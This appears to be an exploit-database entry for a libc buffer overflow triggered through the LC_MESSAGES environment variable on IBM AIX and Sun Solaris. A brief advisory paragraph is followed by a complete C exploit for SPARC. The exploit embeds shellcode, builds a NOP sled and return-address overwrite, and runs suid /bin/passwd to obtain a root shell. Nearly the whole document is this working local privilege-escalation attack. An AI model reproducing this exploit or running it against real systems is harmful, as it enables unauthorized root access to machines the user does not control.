IBM AIX <= 4.2.1, Sun Solaris <= 7.0 LC_MESSAGES libc Buffer Overflow Vulnerability (5)

                                                source: http://www.securityfocus.com/bid/268/info
    
A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.

/*============================================================
   ex_lobc.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security
   (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN ([email protected])
  ============================================================
*/
#define EV          "LC_MESSAGES="
#define ADJUST      0
#define OFFSET      5392
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

int i;
unsigned int ret_adr;

main()
{
    putenv("LANG=");
    memset(x,'x',70000);

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){   
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/passwd","passwd",(char *)0);
}